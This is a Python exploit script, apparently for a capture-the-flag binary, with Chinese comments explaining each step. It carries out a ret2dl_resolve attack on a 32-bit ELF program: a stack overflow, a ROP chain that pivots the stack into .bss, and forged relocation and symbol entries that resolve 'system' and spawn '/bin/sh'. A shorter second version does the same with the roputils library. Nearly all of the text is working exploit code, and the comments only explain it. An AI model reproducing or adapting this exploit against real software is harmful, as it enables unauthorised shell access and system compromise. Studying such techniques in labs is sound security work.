from pwn import *
from LibcSearcher import*
#context.log_level = 'debug'
context.terminal = ['tmux', 'sp', '-h']

file_name = "./pwn"
e=ELF(file_name)
url = ""
port = 0

io = process(file_name) 

#准备数据-------------------------------------------------
plt0 = e.get_section_by_name('.plt').header.sh_addr
rel_plt = e.get_section_by_name('.rel.plt').header.sh_addr
dynsym = e.get_section_by_name('.dynsym').header.sh_addr
dynstr = e.get_section_by_name('.dynstr').header.sh_addr
offset=44
read_plt_addr=e.plt['read']
four_pop_ret=0x080485d8
leave_ret_addr=0x0804854A
base_addr=0x0804a800


#构造-----------------------------------------------------

reloc_index=base_addr+24-rel_plt # 这个是偏移，让程序在base+24的地方找Elf_rel

 
fake_sym_addr=base_addr+32         #先算我们要放置数据的地方，以fake_sym为基准(因为最终是去这个结构体里找str的偏移)
align=0x10-((fake_sym_addr-dynsym)&0xf)   #以对齐的dynsym做参考来计算对齐差的字节数
fake_sym_addr+=align    #最终的地址就是上面的0x804a82c，以c对齐

r_offset=e.got['read']           
r_sym=(fake_sym_addr-dynsym)/0x10  #结构体寻址方式：dynsym+r_sym*0x10=Elf32_Sym
r_type=0x7                         #0x7是重定位的一种类型，指的是导入函数，进入_dl_fixup函数里面，会检查这是不是0x7
r_info=(int(r_sym)<<8)+(r_type)    #合并数据，前面进行了/运算不加int变浮点数了不让位运算
fake_rel_plt=p32(r_offset)+p32(r_info)     # fake_Elf_rel

st_name=fake_sym_addr+0x10-dynstr          #最终的system函数名称布置到了在fake_sym_addr(16字节)后面
st_info=12                                 #照着IDA里面的Elf32_Sym抄过来,本来是哪个函数就抄哪个函数
fake_sym=p32(st_name)+p32(0)+p32(0)+p32(st_info)  #其他数据随便填





#每啥好说的，就是一般的rop，构造read(0,bss_stage,100)的同时完成栈迁移到bss_stage
payload1=b'a'*offset         
payload1+=p32(read_plt_addr)  #ret_addr
payload1+=p32(four_pop_ret)   #read的ret_addr,因为是直接到plt表，所以省去了call的返回地址入栈
payload1+=p32(0)              #ebx
payload1+=p32(base_addr)      #esi
payload1+=p32(100)            #edi
payload1+=p32(base_addr-4)    #ebp
payload1+=p32(leave_ret_addr) #让esp迁移到新栈
io.sendline(payload1)

 
#放数据就行了---------------------------------------------- 
payload2=p32(plt0)
payload2+=p32(reloc_index)
payload2+=b'bbbb'
payload2+=p32(base_addr+80)       #read的参数，这里改成system的参数    
payload2+=b'bbbb'                 #system用不到的另外两个read的参数
payload2+=b'bbbb'
payload2+=fake_rel_plt
payload2+=b'a'*align              #对齐
payload2+=fake_sym
payload2+=b'system\x00'         
payload2+=b'a'*(80-len(payload2))  #补齐80字节
payload2+=b'/bin/sh\x00'           #伪造参数字符串，位于bss_stage+80
payload2+=b'a'*(100-len(payload2))
io.sendline(payload2)


io.interactive()

from roputils import *
from pwn import process
from pwn import gdb
from pwn import context
processName = 'pwn'
offset = 44
r = process('./' + processName)
context.log_level = 'debug'
rop = ROP('./' + processName)

bss_base = rop.section('.bss')
buf = rop.fill(offset)
buf += rop.call('read', 0, bss_base, 100)
buf += rop.dl_resolve_call(bss_base + 20, bss_base)
r.send(buf)
buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
buf += rop.dl_resolve_data(bss_base + 20, 'system')
buf += rop.fill(100, buf)
r.send(buf)
r.interactive()